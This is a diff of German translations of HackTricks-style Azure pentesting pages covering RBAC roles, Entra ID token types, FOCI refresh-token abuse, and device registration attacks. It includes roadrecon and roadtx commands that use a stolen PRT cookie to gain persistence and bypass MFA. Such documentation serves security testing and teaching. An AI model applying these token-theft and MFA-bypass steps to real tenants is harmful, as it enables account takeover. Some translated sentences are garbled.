+**Vordefinierte** Rollen gelten nur für die **Ressourcen**, für die sie **bestimmt** sind, zum Beispiel überprüfen Sie diese 2 Beispiele für **vordefinierte Rollen über Compute**-Ressourcen:

 | [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Berechtigt zur Sicherung des Speichervaults, um eine Datensicherung durchzuführen.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
 | [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Virtuelle Maschinen im Portal anzeigen und sich als regulärer Benutzer anmelden. | fb879df8-f326-4884-b1cf-06f3ad86be52 |

-Diese Rollen können **auch über logische Container** (wie Verwaltungsgruppen, Abonnements und Ressourcengruppen) zugewiesen werden, und die betroffenen Prinzipale haben sie **über die Ressourcen innerhalb dieser Container**.
+Diese Rollen können **auch über logische Container** (wie Verwaltungsguppen, Abonnements und Ressourcengruppen) zugewiesen werden, und die betroffenen Prinzipale haben sie **über die Ressourcen innerhalb dieser Container**.

- Finden Sie hier eine Liste mit [**allen Azure eingebauten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
- Finden Sie hier eine Liste mit [**allen Entra ID eingebauten Rollen**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
+- Finden Sie hier eine Liste mit [**allen Azure vordefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
+- Finden Sie hier eine Liste mit [**allen Entra ID vordefinierten Rollen**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).

 ### Benutzerdefinierte Rollen

@@ -256,13 +256,13 @@ Diese Rollen können **auch über logische Container** (wie Verwaltungsgruppen,
 - Sie werden innerhalb eines Bereichs erstellt, obwohl eine Rolle in mehreren Bereichen (Verwaltungsgruppen, Abonnements und Ressourcengruppen) sein kann.
 - Es ist möglich, alle detaillierten Berechtigungen zu konfigurieren, die die benutzerdefinierte Rolle haben wird.
 - Es ist möglich, Berechtigungen auszuschließen.
- Ein Prinzipal mit einer ausgeschlossenen Berechtigung kann sie nicht verwenden, auch wenn die Berechtigung anderswo gewährt wird.
+- Ein Prinzipal mit einer ausgeschlossenen Berechtigung kann sie nicht verwenden, selbst wenn die Berechtigung anderswo gewährt wird.
 - Es ist möglich, Platzhalter zu verwenden.
 - Das verwendete Format ist JSON.
 - `actions` sind für Kontrollaktionen über die Ressource.
 - `dataActions` sind Berechtigungen über die Daten innerhalb des Objekts.

-Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle:
+Beispiel für Berechtigungen JSON für eine benutzerdefinierte Rolle:
 ```json
 {
 "properties": {
@@ -294,7 +294,7 @@ Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle:
 ```
 ### Berechtigungsreihenfolge

- Damit ein **Principal Zugriff auf eine Ressource hat**, muss ihm eine explizite Rolle zugewiesen werden (in welcher Form auch immer), **die ihm diese Berechtigung gewährt**.
+- Damit ein **Principal Zugriff auf eine Ressource hat**, muss ihm eine explizite Rolle zugewiesen werden, die ihm **diese Berechtigung gewährt**.
 - Eine explizite **Ablehnungsrollenzuweisung hat Vorrang** vor der Rolle, die die Berechtigung gewährt.

 <figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
@@ -303,7 +303,7 @@ Beispiel für JSON-Berechtigungen für eine benutzerdefinierte Rolle:

 Der globale Administrator ist eine Rolle aus Entra ID, die **vollständige Kontrolle über den Entra ID-Mandanten gewährt**. Standardmäßig gewährt sie jedoch keine Berechtigungen für Azure-Ressourcen.

-Benutzer mit der Rolle des globalen Administrators haben die Möglichkeit, sich **zum Benutzerzugriffsadministrator Azure-Rolle in der Root-Management-Gruppe zu "erheben"**. Global Administratoren können den Zugriff in **allen Azure-Abonnements und Managementgruppen verwalten.**\
+Benutzer mit der Rolle des globalen Administrators haben die Möglichkeit, sich **zum Benutzerzugriffsadministrator-Rolle in der Root-Management-Gruppe zu 'erheben'**. So können globale Administratoren den Zugriff in **allen Azure-Abonnements und Managementgruppen verwalten.**\
 Diese Erhöhung kann am Ende der Seite durchgeführt werden: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)

 <figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
@@ -318,15 +318,15 @@ Azure-Richtlinien sind **proaktiv**: Sie können die Erstellung oder Änderung v

 1. **Richtliniendefinition**: Eine Regel, die in JSON geschrieben ist und angibt, was erlaubt oder erforderlich ist.
 2. **Richtlinienzuweisung**: Die Anwendung einer Richtlinie auf einen bestimmten Geltungsbereich (z. B. Abonnement, Ressourcengruppe).
-3. **Initiativen**: Eine Sammlung von Richtlinien, die zusammengefasst sind, um eine breitere Durchsetzung zu ermöglichen.
+3. **Initiativen**: Eine Sammlung von Richtlinien, die für eine breitere Durchsetzung zusammengefasst sind.
 4. **Wirkung**: Gibt an, was passiert, wenn die Richtlinie ausgelöst wird (z. B. "Ablehnen", "Überprüfen" oder "Anhängen").

 **Einige Beispiele:**

-1. **Sicherstellen der Einhaltung bestimmter Azure-Regionen**: Diese Richtlinie stellt sicher, dass alle Ressourcen in bestimmten Azure-Regionen bereitgestellt werden. Zum Beispiel möchte ein Unternehmen sicherstellen, dass alle seine Daten in Europa für die Einhaltung der DSGVO gespeichert werden.
+1. **Sicherstellung der Einhaltung bestimmter Azure-Regionen**: Diese Richtlinie stellt sicher, dass alle Ressourcen in bestimmten Azure-Regionen bereitgestellt werden. Zum Beispiel möchte ein Unternehmen sicherstellen, dass alle seine Daten in Europa für die Einhaltung der DSGVO gespeichert werden.
 2. **Durchsetzung von Namensstandards**: Richtlinien können Namenskonventionen für Azure-Ressourcen durchsetzen. Dies hilft bei der Organisation und der einfachen Identifizierung von Ressourcen anhand ihrer Namen, was in großen Umgebungen hilfreich ist.
 3. **Einschränkung bestimmter Ressourcentypen**: Diese Richtlinie kann die Erstellung bestimmter Ressourcentypen einschränken. Zum Beispiel könnte eine Richtlinie festgelegt werden, um die Erstellung teurer Ressourcentypen, wie bestimmter VM-Größen, zur Kostenkontrolle zu verhindern.
-4. **Durchsetzung von Tagging-Richtlinien**: Tags sind Schlüssel-Wert-Paare, die mit Azure-Ressourcen verknüpft sind und für das Ressourcenmanagement verwendet werden. Richtlinien können durchsetzen, dass bestimmte Tags vorhanden sein müssen oder spezifische Werte haben müssen, für alle Ressourcen. Dies ist nützlich für die Kostenverfolgung, den Besitz oder die Kategorisierung von Ressourcen.
+4. **Durchsetzung von Tagging-Richtlinien**: Tags sind Schlüssel-Wert-Paare, die mit Azure-Ressourcen verknüpft sind und für das Ressourcenmanagement verwendet werden. Richtlinien können durchsetzen, dass bestimmte Tags vorhanden sein müssen oder spezifische Werte haben, für alle Ressourcen. Dies ist nützlich für die Kostenverfolgung, den Besitz oder die Kategorisierung von Ressourcen.
 5. **Einschränkung des öffentlichen Zugriffs auf Ressourcen**: Richtlinien können durchsetzen, dass bestimmte Ressourcen, wie Speicherkonten oder Datenbanken, keine öffentlichen Endpunkte haben, um sicherzustellen, dass sie nur innerhalb des Netzwerks der Organisation zugänglich sind.
 6. **Automatisches Anwenden von Sicherheitseinstellungen**: Richtlinien können verwendet werden, um automatisch Sicherheitseinstellungen auf Ressourcen anzuwenden, wie das Anwenden einer bestimmten Netzwerksicherheitsgruppe auf alle VMs oder das Sicherstellen, dass alle Speicherkonten Verschlüsselung verwenden.

@@ -352,7 +352,7 @@ Azure-Richtlinien JSON-Beispiel:
 ```
 ### Berechtigungsübertragung

-In Azure **können Berechtigungen auf jeden Teil der Hierarchie zugewiesen werden**. Dazu gehören Verwaltungseinheiten, Abonnements, Ressourcengruppen und einzelne Ressourcen. Berechtigungen werden von enthaltenen **Ressourcen** der Entität, wo sie zugewiesen wurden, **vererbt**.
+In Azure **können Berechtigungen jedem Teil der Hierarchie zugewiesen werden**. Dazu gehören Verwaltungseinheiten, Abonnements, Ressourcengruppen und einzelne Ressourcen. Berechtigungen werden von enthaltenen **Ressourcen** der Entität, wo sie zugewiesen wurden, **vererbt**.

 Diese hierarchische Struktur ermöglicht eine effiziente und skalierbare Verwaltung von Zugriffsberechtigungen.

@@ -360,10 +360,10 @@ Diese hierarchische Struktur ermöglicht eine effiziente und skalierbare Verwalt

 ### Azure RBAC vs ABAC

-**RBAC** (rollenbasierte Zugriffskontrolle) ist das, was wir bereits in den vorherigen Abschnitten gesehen haben: **Zuweisen einer Rolle an ein Subjekt, um ihm Zugriff** auf eine Ressource zu gewähren.\
+**RBAC** (rollenbasierte Zugriffskontrolle) ist das, was wir bereits in den vorherigen Abschnitten gesehen haben: **Zuweisung einer Rolle an ein Subjekt, um ihm Zugriff** auf eine Ressource zu gewähren.\
 In einigen Fällen möchten Sie jedoch möglicherweise **feinere Zugriffsverwaltung** bereitstellen oder die Verwaltung von **Hunderte** von Rollen **zuweisungen** **vereinfachen**.

-Azure **ABAC** (attributbasierte Zugriffskontrolle) baut auf Azure RBAC auf, indem es **Rollen zuweisungsbedingungen basierend auf Attributen** im Kontext spezifischer Aktionen hinzufügt. Eine _Rollen zuweisungsbedingung_ ist eine **zusätzliche Überprüfung, die Sie optional zu Ihrer Rollen zuweisung hinzufügen können**, um eine feinere Zugriffskontrolle zu bieten. Eine Bedingung filtert die Berechtigungen, die als Teil der Rollendefinition und der Rollen zuweisung gewährt werden. Zum Beispiel können Sie **eine Bedingung hinzufügen, die erfordert, dass ein Objekt ein bestimmtes Tag hat, um das Objekt zu lesen**.\
+Azure **ABAC** (attributbasierte Zugriffskontrolle) baut auf Azure RBAC auf, indem es **Bedingungen für die Rollen zuweisung basierend auf Attributen** im Kontext spezifischer Aktionen hinzufügt. Eine _Bedingung für die Rollen zuweisung_ ist eine **zusätzliche Überprüfung, die Sie optional zu Ihrer Rollen zuweisung hinzufügen können**, um eine feinere Zugriffskontrolle zu bieten. Eine Bedingung filtert die Berechtigungen, die als Teil der Rollendefinition und der Rollen zuweisung gewährt werden. Zum Beispiel können Sie **eine Bedingung hinzufügen, die erfordert, dass ein Objekt ein bestimmtes Tag hat, um das Objekt zu lesen**.\
 Sie **können** den **Zugriff** auf spezifische Ressourcen **nicht** ausdrücklich **verweigern** **mit Bedingungen**.

 ## Referenzen
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -4,7 +4,7 @@

 ## Grundlegende Informationen

-Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM) von Microsoft und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0-Autorisierungsframework und das OpenID Connect (OIDC)-Authentifizierungsprotokoll zur Verwaltung des Zugriffs auf Ressourcen.
+Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagement (IAM) Plattform von Microsoft und dient als grundlegendes Authentifizierungs- und Autorisierungssystem für Dienste wie Microsoft 365 und Azure Resource Manager. Azure AD implementiert das OAuth 2.0 Autorisierungsframework und das OpenID Connect (OIDC) Authentifizierungsprotokoll zur Verwaltung des Zugriffs auf Ressourcen.

 ### OAuth

@@ -22,7 +22,7 @@ Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM

 **Integration von Microsoft 365:**

- Microsoft 365 nutzt Azure AD für IAM und besteht aus mehreren "First-Party"-OAuth-Anwendungen.
+- Microsoft 365 nutzt Azure AD für IAM und besteht aus mehreren "First-Party" OAuth-Anwendungen.
 - Diese Anwendungen sind tief integriert und haben oft voneinander abhängige Dienstbeziehungen.
 - Um die Benutzererfahrung zu vereinfachen und die Funktionalität aufrechtzuerhalten, gewährt Microsoft diesen First-Party-Anwendungen "implizite Zustimmung" oder "Vorab-Zustimmung".
 - **Implizite Zustimmung:** Bestimmte Anwendungen erhalten automatisch **Zugriff auf spezifische Scopes ohne ausdrückliche Genehmigung des Benutzers oder Administrators**.
@@ -42,10 +42,10 @@ Entra ID ist die cloudbasierte Identitäts- und Zugriffsmanagementplattform (IAM

 Es gibt **drei Arten von Tokens**, die in OIDC verwendet werden:

- [**Zugriffstoken**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token dem Ressourcenserver, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Ressource verwendet werden und **kann nicht widerrufen** werden, bis es abläuft - das ist standardmäßig 1 Stunde.
+- [**Zugriffstoken**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Der Client präsentiert dieses Token dem Ressourcenserver, um **auf Ressourcen zuzugreifen**. Es kann nur für eine spezifische Kombination aus Benutzer, Client und Ressource verwendet werden und **kann bis zum Ablauf nicht widerrufen werden** - das sind standardmäßig 1 Stunde.
 - **ID-Tokens**: Der Client erhält dieses **Token vom Autorisierungsserver**. Es enthält grundlegende Informationen über den Benutzer. Es ist **an eine spezifische Kombination aus Benutzer und Client gebunden**.
- **Aktualisierungstoken**: Werden dem Client mit dem Zugriffstoken bereitgestellt. Wird verwendet, um **neue Zugriffs- und ID-Tokens zu erhalten**. Es ist an eine spezifische Kombination aus Benutzer und Client gebunden und kann widerrufen werden. Die Standardablaufzeit beträgt **90 Tage** für inaktive Aktualisierungstoken und **keine Ablaufzeit für aktive Tokens** (es ist möglich, aus einem Aktualisierungstoken neue Aktualisierungstoken zu erhalten).
- Ein Aktualisierungstoken sollte an ein **`aud`**, an einige **Scopes** und an einen **Mandanten** gebunden sein und sollte nur in der Lage sein, Zugriffstoken für dieses aud, diese Scopes (und nicht mehr) und diesen Mandanten zu generieren. Dies ist jedoch nicht der Fall bei **FOCI-Anwendungstoken**.
+- **Aktualisierungstokens**: Werden dem Client mit dem Zugriffstoken bereitgestellt. Wird verwendet, um **neue Zugriffs- und ID-Tokens zu erhalten**. Es ist an eine spezifische Kombination aus Benutzer und Client gebunden und kann widerrufen werden. Die standardmäßige Ablaufzeit beträgt **90 Tage** für inaktive Aktualisierungstokens und **keine Ablaufzeit für aktive Tokens** (es ist möglich, aus einem Aktualisierungstoken neue Aktualisierungstokens zu erhalten).
+- Ein Aktualisierungstoken sollte an ein **`aud`**, an einige **Scopes** und an einen **Mandanten** gebunden sein und sollte nur in der Lage sein, Zugriffstoken für dieses aud, diese Scopes (und nicht mehr) und diesen Mandanten zu generieren. Dies ist jedoch nicht der Fall bei **FOCI-Anwendungstokens**.
 - Ein Aktualisierungstoken ist verschlüsselt und nur Microsoft kann es entschlüsseln.
 - Das Erhalten eines neuen Aktualisierungstokens widerruft das vorherige Aktualisierungstoken nicht.

@@ -54,18 +54,18 @@ Es gibt **drei Arten von Tokens**, die in OIDC verwendet werden:

 ### Zugriffstoken "aud"

-Das im Feld "aud" angegebene Feld ist der **Ressourcenserver** (die Anwendung), der verwendet wird, um die Anmeldung durchzuführen.
+Das im "aud"-Feld angegebene Feld ist der **Ressourcenserver** (die Anwendung), der verwendet wird, um die Anmeldung durchzuführen.

 Der Befehl `az account get-access-token --resource-type [...]` unterstützt die folgenden Typen, und jeder von ihnen wird ein spezifisches "aud" im resultierenden Zugriffstoken hinzufügen:

 > [!CAUTION]
-> Beachten Sie, dass dies nur die von `az account get-access-token` unterstützten APIs sind, es gibt jedoch weitere.
+> Beachten Sie, dass die folgenden nur die von `az account get-access-token` unterstützten APIs sind, es gibt jedoch weitere.

 <details>

 <summary>aud Beispiele</summary>

- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die veraltete Azure AD Graph API (abgekündigt) zuzugreifen, die Anwendungen ermöglicht, Verzeichnisdaten in Azure Active Directory (Azure AD) zu lesen und zu schreiben.
+- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die veraltete Azure AD Graph API (abgekündigt) zuzugreifen, die Anwendungen das Lesen und Schreiben von Verzeichnisdaten in Azure Active Directory (Azure AD) ermöglicht.
 - `https://graph.windows.net/`

 * **arm (Azure Resource Manager)**: Wird verwendet, um Azure-Ressourcen über die Azure Resource Manager API zu verwalten. Dazu gehören Operationen wie das Erstellen, Aktualisieren und Löschen von Ressourcen wie virtuellen Maschinen, Speicherkonten und mehr.
@@ -92,7 +92,7 @@ Der Befehl `az account get-access-token --resource-type [...]` unterstützt die

 Der Scope eines Zugriffstokens wird im scp-Schlüssel innerhalb des Zugriffstoken-JWT gespeichert. Diese Scopes definieren, auf was das Zugriffstoken Zugriff hat.

-Wenn ein JWT berechtigt ist, eine bestimmte API zu kontaktieren, aber **nicht den Scope** hat, um die angeforderte Aktion auszuführen, **kann es die Aktion nicht** mit diesem JWT ausführen.
+Wenn ein JWT berechtigt ist, eine spezifische API zu kontaktieren, aber **nicht den Scope** hat, um die angeforderte Aktion auszuführen, **kann es die Aktion nicht mit diesem JWT ausführen**.

 ### Beispiel zum Abrufen von Aktualisierungs- und Zugriffstoken
 ```python
@@ -121,7 +121,6 @@ device_flow
 pprint(azure_cli_bearer_tokens_for_graph_api)


-
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
 """Decodes base64 encoded JWT blob"""
@@ -149,15 +148,15 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)

 Zuvor wurde erwähnt, dass Refresh-Token an die **Scopes** gebunden sein sollten, mit denen sie generiert wurden, an die **Anwendung** und den **Mandanten**, für die sie generiert wurden. Wenn eine dieser Grenzen überschritten wird, ist es möglich, Privilegien zu eskalieren, da es möglich sein wird, Zugriffstoken für andere Ressourcen und Mandanten zu generieren, auf die der Benutzer Zugriff hat, und mit mehr Scopes, als ursprünglich beabsichtigt.

-Darüber hinaus **ist dies mit allen Refresh-Token** in der [Microsoft-Identitätsplattform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-Konten, Microsoft-Persönliche Konten und soziale Konten wie Facebook und Google) möglich, da die [**Dokumentation**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) erwähnt: "Refresh-Token sind an eine Kombination aus Benutzer und Client gebunden, aber **nicht an eine Ressource oder einen Mandanten gebunden**. Ein Client kann ein Refresh-Token verwenden, um Zugriffstoken **über jede Kombination von Ressource und Mandant** zu erwerben, für die er die Berechtigung hat. Refresh-Token sind verschlüsselt und nur die Microsoft-Identitätsplattform kann sie lesen."
+Darüber hinaus **ist dies mit allen Refresh-Token** in der [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-Konten, Microsoft-Persönliche Konten und soziale Konten wie Facebook und Google) möglich, da die [**Dokumentation**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) erwähnt: "Refresh-Token sind an eine Kombination aus Benutzer und Client gebunden, aber **nicht an eine Ressource oder einen Mandanten gebunden**. Ein Client kann ein Refresh-Token verwenden, um Zugriffstoken **über jede Kombination von Ressource und Mandant** zu erwerben, für die er die Berechtigung hat. Refresh-Token sind verschlüsselt und nur die Microsoft identity platform kann sie lesen."

-Darüber hinaus beachten Sie, dass die FOCI-Anwendungen öffentliche Anwendungen sind, sodass **kein Geheimnis erforderlich ist**, um sich beim Server zu authentifizieren.
+Beachten Sie außerdem, dass die FOCI-Anwendungen öffentliche Anwendungen sind, sodass **kein Geheimnis erforderlich ist**, um sich beim Server zu authentifizieren.

-Dann bekannte FOCI-Clients, die in der [**ursprünglichen Forschung**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gemeldet wurden, können [**hier gefunden werden**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
+Bekannte FOCI-Clients, die in der [**ursprünglichen Forschung**](https://github.com/secureworks/family-of-client-ids-research/tree/main) berichtet wurden, können [**hier gefunden werden**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).

-### Anderen Scope erhalten
+### Anderen Scope abrufen

-Folgend mit dem vorherigen Beispielcode wird in diesem Code ein neues Token für einen anderen Scope angefordert:
+Im Folgenden wird im vorherigen Beispielcode ein neues Token für einen anderen Scope angefordert:
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 azure_cli_bearer_tokens_for_outlook_api = (
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -1,4 +1,4 @@
-# Az - Device Registration
+# Az - Geräte Registrierung

 {{#include ../../banners/hacktricks-training.md}}

@@ -6,15 +6,15 @@

 Wenn ein Gerät AzureAD beitritt, wird ein neues Objekt in AzureAD erstellt.

-Bei der Registrierung eines Geräts wird der **Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Dienst zur Geräteregistrierung angefordert und schließlich wird eine letzte Bestätigungsaufforderung angezeigt.
+Bei der Registrierung eines Geräts wird **der Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Geräte Registrierungsdienst angefordert und anschließend wird eine endgültige Bestätigungsaufforderung angezeigt.

 Dann werden zwei RSA-Schlüsselpaar in dem Gerät generiert: Der **Geräteschlüssel** (**öffentlicher** Schlüssel), der an **AzureAD** gesendet wird, und der **Transport**-Schlüssel (**privater** Schlüssel), der, wenn möglich, im TPM gespeichert wird.

-Dann wird das **Objekt** in **AzureAD** (nicht in Intune) generiert und AzureAD gibt dem Gerät ein **Zertifikat**, das von ihm signiert ist, zurück. Sie können überprüfen, ob das **Gerät AzureAD-verbunden** ist und Informationen über das **Zertifikat** (wie ob es durch TPM geschützt ist) erhalten.
+Dann wird das **Objekt** in **AzureAD** (nicht in Intune) generiert und AzureAD gibt dem Gerät ein **Zertifikat** zurück, das von ihm signiert ist. Sie können überprüfen, ob das **Gerät AzureAD beigetreten** ist und Informationen über das **Zertifikat** (wie ob es durch TPM geschützt ist) erhalten.
 ```bash
 dsregcmd /status
 ```
-Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Session-Key geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transport-Schlüssels) und er ist **notwendig, um das PRT zu verwenden.**
+Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Sitzungsschlüssel geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transportkeys) und er ist **notwendig, um das PRT zu verwenden.**

 Für weitere Informationen darüber, was ein PRT ist, siehe:

@@ -24,10 +24,10 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md

 ### TPM - Trusted Platform Module

-Der **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn durch PIN geschützt) und vor der Extraktion des privaten Materials aus der OS-Schicht.\
-Aber er **schützt nicht** vor dem **Sniffing** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten läuft.
+Der **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn es durch eine PIN geschützt ist) und vor der Extraktion des privaten Materials aus der OS-Schicht.\
+Aber er **schützt nicht** vor dem **Sniffing** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten ausgeführt wird.

-Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT auf Geräten** gespeichert ist, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren):
+Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT sich auf Geräten befindet**, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren):

 {{#ref}}
 az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft verwenden können, um PRTs anzufordern**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**.
+Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft für PRTs anfordern können**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**.

 > [!TIP]
 > Beachten Sie, dass Sie für diesen Angriff Berechtigungen zur **Registrierung neuer Geräte** benötigen. Außerdem bedeutet die Registrierung eines Geräts nicht, dass das Gerät **in Intune eingeschrieben werden darf**.
@@ -55,9 +55,9 @@ Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft verwenden können, um PRT
 > [!CAUTION]
 > Dieser Angriff wurde im September 2021 behoben, da Sie keine neuen Geräte mehr mit SSO-Token registrieren können. Es ist jedoch weiterhin möglich, Geräte auf legitime Weise zu registrieren (mit Benutzername, Passwort und MFA, falls erforderlich). Überprüfen Sie: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).

-## Überschreiben eines Geräteschlüssels
+## Überschreiben eines Gerätescheins

-Es war möglich, **einen Geräteschlüssel anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs **den PRT zu stehlen** (es ist also nicht notwendig, ihn vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A).
+Es war möglich, einen **Geräteschein anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs den **PRT zu stehlen** (es ist also nicht notwendig, ihn vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A).

 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>

@@ -70,15 +70,15 @@ Es war möglich, **einen Geräteschlüssel anzufordern**, den aktuellen des Ger

 Angriffsübersicht:

- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben**.
- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird.
- Dies bietet auch **Persistenz**.
+- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben**
+- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird
+- Dies bietet auch **Persistenz**

 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>

-Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph besitzen.
+Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph.

-Dann ist es möglich, einen neuen Schlüssel zu generieren mit:
+Dann ist es möglich, einen neuen Schlüssel mit:
 ```bash
 roadtx genhellokey -d <device id> -k tempkey.key
 ```
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -47,11 +47,11 @@ pwsh
 brew update
 brew upgrade powershell
 ```
-## Hauptenumerationstools
+## Haupt-Enumeration-Tools

 ### az cli

-[**Azure-Befehlszeilenschnittstelle (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ist ein plattformübergreifendes Tool, das in Python geschrieben wurde, um (die meisten) Azure- und Entra ID-Ressourcen zu verwalten und zu administrieren. Es verbindet sich mit Azure und führt administrative Befehle über die Befehlszeile oder Skripte aus.
+[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ist ein plattformübergreifendes Tool, das in Python geschrieben wurde, um (die meisten) Azure- und Entra ID-Ressourcen zu verwalten und zu administrieren. Es verbindet sich mit Azure und führt administrative Befehle über die Befehlszeile oder Skripte aus.

 Folgen Sie diesem Link für die [**Installationsanweisungen¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).

@@ -63,7 +63,7 @@ Mit dem Parameter **`--debug`** ist es möglich, alle Anfragen zu sehen, die das
 ```bash
 az account management-group list --output table --debug
 ```
-Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun:
